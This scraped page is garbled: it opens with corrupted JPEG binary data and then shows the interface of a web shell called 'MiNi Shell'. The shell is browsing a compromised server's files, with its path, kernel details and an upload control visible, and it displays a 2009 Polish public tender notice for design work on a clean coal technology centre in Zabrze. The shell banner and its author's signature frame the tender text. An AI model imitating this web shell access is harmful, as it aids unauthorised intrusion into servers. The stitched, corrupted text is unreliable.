JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/proc/self/root/home/vmanager/www/common/web/tenders/20090720/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/self/root/proc/self/root/home/vmanager/www/common/web/tenders/20090720/246002-N-2009.html

<p class="kh_header"><b>Zabrze: 1.Przedmiotem zamówienia jest: 
DOKUMENTACJA PROJEKTOWA DLA PRZEDSIĘWZIĘCIA CENTRUM CZYSTYCH TECHNOLOGII WĘGLOWYCH - CZĘŚĆ TECHNOLOGICZNA W ZABRZU (AKTUALIZACJA) 32-ichpw-2009</b><br>
<b>Numer ogłoszenia: 246002 - 2009; data zamieszczenia: 20.07.2009</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Instytut Chemicznej Przeróbki Węgla , ul. Zamkowa 1, 41-803 Zabrze, woj. śląskie, tel. 032 2710041, faks 032 2710809.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.ichpw.zabrze.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Jednostka Badawczo Rozwojowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> 1.Przedmiotem zamówienia jest: 
DOKUMENTACJA PROJEKTOWA DLA PRZEDSIĘWZIĘCIA CENTRUM CZYSTYCH TECHNOLOGII WĘGLOWYCH - CZĘŚĆ TECHNOLOGICZNA W ZABRZU (AKTUALIZACJA) 32-ichpw-2009.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 2. Opis przedmiotu zamówienia
Dokumentacji projektowa dla przedsięwzięcia Centrum Czystych Technologii Węglowych (CCTW) - część technologiczna w Zabrzu (aktualizacja) w szczególności obejmuje:
1) Wykonanie projektu budowlanego zamiennego na BUDOWĘ CENTRUM CZYSTYCH TECHNOLOGII WĘGLOWYCH na terenie działek Nr 860-79, 861-79, 862-79, 863-85, 944-85 i 598-125 zlokalizowanych w Zabrzu - Biskupicach przy ul. Zamkowej 1, wraz z wszystkimi niezbędnymi uzgodnieniami i złożeniem wniosku o decyzję zamienną do pozwolenia na budowę na przedmiotowych działkach.
2) Wykonanie projektu zamiennego zagospodarowania terenu na BUDOWĘ CENTRUM CZYSTYCH TECHNOLOGII WĘGLOWYCH na terenie działek Nr 860-79, 861-79, 862-79, 863-85, 944-85 i 598-125 zlokalizowanych w Zabrzu - Biskupicach przy ul. Zamkowej 1 wraz ze wszystkimi niezbędnymi uzgodnieniami i złożeniem wniosku o decyzję zamienną do pozwolenia na budowę na przedmiotowych działkach.
3) Wykonanie projektu budowlanego dla Centrum Symulacji Procesowych będącego elementem składowym CCTW a zlokalizowanym w budynku głównym ICHPW (II piętro podlegające przebudowie) wraz ze stosownymi uzgodnieniami i złożeniem wniosku o uzyskanie pozwolenia na przebudowę - zmiana sposobu użytkowania.
4) Aktualizację SIWZ na wybór inżyniera kontraktu (IK) oraz na Generalnego Realizatora Inwestycji (GRI) dla realizacji CCTW.
5)	Aktualizację analizy kosztowej przedsięwzięcia zawierającej zestawienie kosztów obejmujących całość inwestycji (projekty wielobranżowe wykonawcze, budynki, obiekty, instalacje technologiczne, zagospodarowanie terenu wraz z całą infrastrukturą).
6)	Aktualizację harmonogramu rzeczowo-finansowego realizacji inwestycji w oparciu o zamienny projekt budowlany i zagospodarowania terenu wraz z aktualizacją harmonogramu czasowego jego wykonania. Zgodnie z wytycznymi MRR i MNiSW w zakresie Programu Operacyjnego: Innowacyjna Gospodarka, Priorytet/działanie: 2. Oś priorytetowa: Infrastruktura sfery B+R, Działanie 2.1: Rozwój ośrodków o wysokim potencjale badawczym.
7)	Wykonanie projektu wykonawczego stacji redukcyjno-pomiarowej wraz z układem zliczającym oraz rurociągu doprowadzającego gaz do istniejących instalacji badawczych w ob. 02 zgodnie z projektem zamiennym oraz uzgodnieniami z GSG (umowa dwustronna ICHPW- GSG). 
8)	Pozyskiwanie na rzecz Zamawiającego:
decyzji zamiennej do pozwolenia na budowę na podstawie opracowanej dokumentacji wymienionej w ustępie 1 punkt 2 podpunkt 1, 2
decyzji o pozwoleniu na budowę na podstawie opracowanej dokumentacji wymienionej w ustępie 1 punt 2 podpunkt 3
Udzielanie niezbędnych dodatkowych informacji, wyjaśnień właściwemu organowi, prowadzącemu postępowanie w sprawie udzielenia przedmiotowych pozwoleń na budowę.
Kalkulacja prac projektowych winienia być sporządzona osobno dla ustęp 1 punkt 2 podpunkt 1-6 i podpunkt 7 na podstawie środowiskowych zasad wyceny prac projektowych wg stawek obowiązujących na dany rok

3. Założenia techniczne dla zamówienia

1) Dokumentacja projektowa dla przedsięwzięcia Centrum Czystych Technologii Węglowych - część technologiczna w Zabrzu (aktualizacja) winna być opracowana na podstawie:
a)	Koncepcji programowo-przestrzennej (KPP zm. 2A) oraz projektu budowlanego wraz z projektem zagospodarowania terenu z wyłączeniem: 
a.	Obiektu nr 01 (budynek główny)
b.	Części laboratoryjnej obiektu nr 03 (budynek warsztatowo - laboratoryjny)
c.	Estakady gazu koksowniczego wg rysunku nr A-001-10 (Trasa estakady gazu koksowniczego)
b)	Projektu wykonawczego stacji wymienników ciepła 1020+150 kW (ob. nr 02) wraz z przyłączeniami c.o. i c.w.u. do obiektów CCTW ul. Zamkowa 1 w Zabrzu oraz z zewnętrzną instalacją odbiorczą do obiektów CCTW ul. Zamkowa 1 w Zabrzu 
c)	Projektu wykonawczego zasilającej sieci grzewczej wysokich parametrów CO przebiegającej przez działki o Nr 860/79, 861/79, 862/79, 863/85, 944/85 (wraz z przewidywanymi ustaleniami jego aktualizacji).
2) Zamawiający udostępni jako podstawę do realizacji zamówienia:

a)	Projekt Budowlany BUDOWY CENTRUM CZYSTYCH TECHNOLOGII WĘGLOWYCH na terenie działek Nr 860/79, 861/79, 862/79, 863/85, 944/85 i 598/125 zlokalizowanych w Zabrzu - Biskupicach przy ul. Zamkowej 1
b)	Projekt zagospodarowania terenu BUDOWY CENTRUM CZYSTYCH TECHNOLOGII WĘGLOWYCH na terenie działek Nr 860/79, 861/79, 862/79, 863/85, 944/85 i 598/125 zlokalizowanych w Zabrzu - Biskupicach przy ul. Zamkowej 1
c)	Koncepcję Programowo Przestrzenną (zmiana 2A) dla BUDOWY CENTRUM CZYSTYCH TECHNOLOGII WĘGLOWYCH
d)	Projekt wykonawczy stacji wymienników ciepła 1020+150 kW wraz z przyłączeniami c.o. i c.w.u. do obiektów CCTW ul. Zamkowa 1 w Zabrzu (ob. nr 02) oraz z zewnętrzną instalacją odbiorczą do obiektów CCTW ul. Zamkowa 1 w Zabrzu.
e)	Pozostałe części dokumentacji projektowej podlegającej aktualizacji. 
Dokumentacja określona w punkcie 3 podpunkt 1 litera a - c) powyżej jest autorstwa firmy MEXEM sp. z o.o z siedzibą w Gliwicach przy ul. Jasnej 14.
Do oferty należy dołączyć oświadczenie autora dokumentacji źródłowej o udzieleniu zgody Wykonawcy na wprowadzenie w niej niezbędnych zmian, wynikających z zakresu niniejszego przedmiotu zamówienia.
Równolegle z przedmiotem zamówienia są prowadzone następujące prace:
budowa odcinka sieci cieplnej (CO) wysokich parametrów zasilającej obiekty CCTW i budynek główny ICHPW prowadzone przez dostawcę ciepła (TERMA-DOM Sp z o.o.) przebiegającego przez działki 860/79, 861/79, 862/79, 863/85, 944/85
budowa stacji wymienników ciepła 1020+150 kw
wraz z przyłączeniami c.o. i c.w.u.instalacją odbiorczą do obiektów CCTW ul. Zamkowa 1 w Zabrzu prowadzone przez firmę Apator Control Sp. z o.o
Wykonawca zobowiązany jest do:
-wprowadzenia w aktualizowanej dokumentacji wszystkich elementów wynikających z prowadzonych na działkach 860/79, 861/79, 862/79, 863/85, 944/85 a wymienionych powyżej prac
-pozyskania od wykonawców ww. prac wszystkich informacji niezbędnych do realizacji przedmiotu zamówienia
Całość dokumentacji należy wykonać zgodnie z wytycznymi Zamawiającego oraz zgodnie z przepisami Prawa Budowlanego, Prawa Ochrony Środowiska, Polskich Norm i wytycznymi MRR w zakresie POIG a także innych obowiązujących przepisów
II.	Termin realizacji przedmiotu zamówienia
Termin wykonania przedmiotu zamówienia: 
pkt 1-7 		do 28.09.2009 r. 
pkt 8 		do 15.12.2009 r.</p>
<p><b>II.1.4) Wspólny Słownik Zamówień (CPV):</b> 71.24.20.00-6.</p>
<p><b>II.1.5) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.1.7) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p><p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 15.12.2009.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WARUNKI DOTYCZĄCE ZAMÓWIENIA</b>
</p><b>Informacja na temat wadium:</b> I.	Wysokość wadium
Zamawiający przewiduje wniesienie wadium:
Ustala się wadium w wysokości 9 000,00 zł., słownie: dziewięć tysięcy zł
Wykonawca wnosi wadium: w pieniądzu, sposób przekazania: na konto Zamawiającego 
numer konta 16 1240 4227 1111 0000 4846 7030 (Uwaga. Za datę wniesienia wadium w tej formie, uważa się datę wpływu środków pieniężnych na rachunek bankowy Zamawiającego) lub w jednej z poniżej podanych form: 
1.	w poręczeniach lub gwarancjach bankowych,
2.	w gwarancjach ubezpieczeniowych
3.	w poręczeniach udzielanych przez podmioty, o których mowa w art. 6 ust.3 pkt 4 lit. b ustawy z dnia 9 listopada 2000 r. o utworzeniu Polskiej Agencji Rozwoju Przedsiębiorczości (Dz. U. Nr 109, poz. 1158 oraz z 2002 r. Nr 25, poz. 253, Nr 66, poz. 596 i Nr 216, poz. 1824), sposób przekazania: załączone dokumenty potwierdzające zrealizowanie zabezpieczenia finansowego przed upływem terminu składania ofert. Przy czym za termin wniesienia wadium w formie przelewu pieniężnego przyjmuje się termin uznania na rachunku Zamawiającego.

Dokument w formie innej niż pieniężna winien zawierać stwierdzenie, że na pierwsze pisemne żądanie Zamawiającego wzywające do zapłaty wadium, zgodnie z warunkami przetargu, następuje jego bezwarunkowa wypłata.
Wadium wnoszone w postaci niepieniężnej należy składać do terminu składania ofert w siedzibie Zamawiającego,  pokój nr  210<br><p><b>III.2) WARUNKI UDZIAŁU</b></p>
<ul class="kh_indent_1"><li><b>Opis warunków udziału w postępowaniu oraz opis sposobu dokonywania oceny spełniania tych warunków:</b> I.	Wykonawcy składający ofertę powinni spełnić poniższe warunki udziału w postępowaniu (zgodnie z art. 22 ust. 1 ustawy) oraz na potwierdzenie ich spełnienia złożyć poniższe oświadczenia i dokumenty (zgodnie z art. 25 i 26 ust. 1 ustawy oraz Rozporządzeniem Prezesa Rady Ministrów z dn. 19.05.2006 r. - Dz. U. Nr 87, poz. 605 z 2006 r., z późniejszymi zmianami) w sprawie rodzajów dokumentów, jakich może żądać Zamawiający od Wykonawcy oraz form, w jakich te dokumenty mogą być składane.
1.	Posiadają uprawnienia do wykonywania określonej działalności lub czynności, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień.
2.	Posiadają niezbędną wiedzę i doświadczenie oraz dysponują potencjałem technicznym i osobami zdolnymi do wykonania zamówienia lub przedstawią pisemne zobowiązanie innych podmiotów do udostępnienia potencjału technicznego i osób zdolnych do wykonania zamówienia.
3.	Znajdują się w sytuacji ekonomicznej i finansowej zapewniającej wykonanie zamówienia.
4.	Nie podlegają wykluczeniu z postępowania o udzielenie zamówienia
II.	Sprawdzenie spełnienia warunków udziału w postępowaniu zostanie dokonane na podstawie złożonego oświadczenia, oraz dołączonych do oferty dokumentów, na zasadzie spełnia/nie spełnia..</li>
<li><b>Informacja o oświadczeniach i dokumentach, jakie mają dostarczyć wykonawcy w celu potwierdzenia spełniania warunków udziału w postępowaniu:</b> III.	Wykaz wymaganych oświadczeń i dokumentów

Lp	Wymagane warunki udziału w postępowaniu jakie musi spełnić Wykonawca	Wymagane oświadczenia, dokumenty potwierdzające spełnianie warunków udziału 
w postępowaniu
1	Spełnienie przesłanek udziału w postępowaniu określonych w art. 22 ust. 1 ustawy .	1.1. Oświadczenie zgodnie z załącznikiem nr 3 do SIWZ.
2	Spełnienie przesłanki udziału w postępowaniu określonej w art. 24 ust. 1 pkt. 2 ustawy.	2.1. Aktualny odpis z właściwego rejestru albo aktualne zaświadczenie o wpisie do ewidencji działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub zgłoszenia do ewidencji działalności gospodarczej, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert.
3	Nie podleganie wykluczeniu z postępowania na podstawie art. 24 ustawy poprzez:

nie zaleganie z uiszczaniem podatków, opłat oraz składek na ubezpieczenie społeczne i zdrowotne, z wyjątkiem przypadków gdy uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu.	3.1. Aktualne oświadczenie Wykonawcy, potwierdzające, że nie zalega on z opłacaniem podatków, opłat lub oświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu.
		3.2. Aktualne oświadczenie Wykonawcy, potwierdzające, że nie zalega on z opłacaniem składek na ubezpieczenie zdrowotne i społeczne lub oświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu.
IV.	Forma dokumentów

1.	Wymagane dokumenty powinny być przedstawione w formie oryginału lub kserokopii poświadczonej za zgodność z oryginałem przez osobę uprawnioną do reprezentowania Wykonawcy.
2.	Za osoby uprawnione do reprezentowania Wykonawcy uznaje się osoby upoważnione do reprezentowania firmy, wskazane we właściwym rejestrze lub ewidencji działalności gospodarczej bądź w stosownym pełnomocnictwie, które należy załączyć do oferty w oryginale lub kopii poświadczonej za zgodność z oryginałem przez osobę udzielającą pełnomocnictwa lub poświadczone notarialnie.
3.	W przypadku, gdy załączone do oferty dokumenty zostały sporządzone w języku obcym (w tym dokumenty składane przez Wykonawcę zagranicznego) niezbędne jest przedstawienie ich tłumaczenia na język polski, poświadczonego przez Wykonawcę. 
4.	Zamawiający wezwie Wykonawców do uzupełnienia brakujących dokumentów zgodnie z art. 26 ust. 3 ustawy.</li></ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>

<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>
<br><p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p><ul class="kh_indent_1"><br>
<li>1 - Cena - 70</li>
<li>2 - Okres realizacji - 30</li>
</ul><p><b>IV.2.2) Wykorzystana będzie aukcja elektroniczna:</b> nie.</p><br><p><b>IV.3) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.3.1)</b>&nbsp;<b>Adres strony internetowej, na której dostępna jest specyfikacja istotnych warunków zamówienia:</b> www.ichpw.zabrze.pl.<br><b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> 1.</p>
<p><b>IV.3.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 28.07.2009 godzina 12:00, miejsce: Instytut Chemicznej Przeróbki Węgla
ul. Zamkowa 1
41 - 803 Zabrze
pokój nr 210.</p><p><b>IV.3.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>
<p><b>IV.3.13) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> 1.	Postępowanie prowadzone jest w trybie przetargu nieograniczonego i stosuje się do niego przepisy Ustawy z dnia 29 stycznia 2004 r. Prawo zamówień publicznych (Dz. U. Nr 19 poz. 177 z późn. zm.), zwanej dalej ustawą PZP.
2.	Postępowanie, którego dotyczy niniejszy dokument oznaczone jest znakiem 32./ichpw/2009. Wskazane jest, by Wykonawcy we wszelkich kontaktach z Zamawiającym powoływali się na ten znak.
3.	Wykonawca winien zapoznać się z niniejszą specyfikacją istotnych warunków zamówienia, zwaną dalej SIWZ, przed przystąpieniem do sporządzenia oferty
4.	Informacje dotyczące finansowania projektu

Creat By MiNi SheLL
Email: jattceo@gmail.com